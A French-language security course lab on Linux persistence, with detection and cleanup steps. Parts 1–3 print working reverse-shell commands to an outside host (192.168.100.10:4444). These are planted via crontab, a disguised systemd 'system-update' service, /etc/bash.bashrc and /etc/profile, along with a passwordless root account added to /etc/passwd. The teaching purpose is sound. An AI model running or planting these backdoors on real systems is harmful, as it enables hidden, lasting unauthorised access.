Lab 9.3: Persistence et Backdoors Linux
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Implémenter multiples techniques de persistence Linux
- Créer des backdoors qui survivent au reboot
- Modifier des fichiers système pour maintien d'accès
- Utiliser systemd pour persistence
- Cacher des processus et fichiers
- Détecter la persistence sur un système Linux
- Nettoyer un système compromis
Durée Estimée
35 minutes
Prérequis
- VM Linux (Ubuntu/Debian)
- Accès root (obtenu via Lab 9.1)
- Labs 9.1 et 9.2 complétés
- Compréhension de cron, systemd, bash
Contexte Professionnel
Après avoir obtenu root, l'attaquant veut:
- Maintenir l'accès même après reboot
- Survivre aux mises à jour système
- Rester indétectable le plus longtemps possible
Techniques de persistence utilisées par:
- APT groups pour accès long terme
- Ransomware pour re-infection
- Botnets pour contrôle permanent
AVERTISSEMENT ÉTHIQUE ET LÉGAL
Installer des backdoors sur systèmes sans autorisation = Crime grave.
AUTORISÉ: VMs de test uniquement
INTERDIT: Systèmes réels sans permission
Partie 1: Cron Jobs Malveillants
Crontab Utilisateur
Ajouter tâche cachée:
(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -
Exécution: À chaque démarrage!
Cron Système (Root)
Fichier /etc/crontab:
echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab
Exécution: Toutes les 10 minutes en tant que root!
Questions:
- Le cron job a-t-il survécu au reboot?
- Est-il visible pour un utilisateur normal?
Partie 2: Services systemd
Créer Service Malveillant
Fichier /etc/systemd/system/system-update.service:
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
Activer:
systemctl enable system-update.service
systemctl start system-update.service
Reverse shell s'exécute comme service système!
Vérifier:
systemctl status system-update
Apparaît comme service légitime!
Partie 3: Modification de Fichiers Système
Bashrc Global
Fichier /etc/bash.bashrc:
echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc
Chaque terminal ouvert: Reverse shell!
Profil SSH
Fichier /etc/profile:
echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile
Modification de /etc/passwd
Créer compte root sans mot de passe:
echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd
Login:
su backdoor
Pas de mot de passe demandé, vous êtes root!
Questions: 3. Le backdoor dans bashrc a-t-il fonctionné? 4. Le compte backdoor sans password fonctionne-t-il?
Partie 4: Détection
Chercher Cron Jobs Suspects
# Crontabs utilisateurs
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done
# Cron système
cat /etc/crontab
ls -la /etc/cron.*
Chercher Services Suspects
systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled
Vérifier Fichiers Modifiés
# Bashrc modifié récemment
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc
# Comparer avec baseline
dpkg -V bash
Chercher Comptes Suspects
cat /etc/passwd | grep :0:
Si autre que root a UID 0: Backdoor!
Questions: 5. Combien de backdoors avez-vous détectés? 6. Comment automatiser la détection?
Partie 5: Nettoyage
Supprimer Persistence
# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab
# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service
# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc
# Compte
sed -i '/backdoor/d' /etc/passwd
Livrables
- Rapport avec 3 méthodes de persistence testées
- Preuve de survie au reboot
- Script de détection automatisé
- Procédure de nettoyage
Conclusion
Techniques maîtrisées:
- Cron jobs malveillants
- Services systemd backdoors
- Modification fichiers système
- SSH key persistence
- Détection et nettoyage
Combiné avec Labs 9.1 et 9.2:
- Escalade user → root
- Reverse shell
- Persistence permanente
Chaîne d'attaque Linux complète!
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 9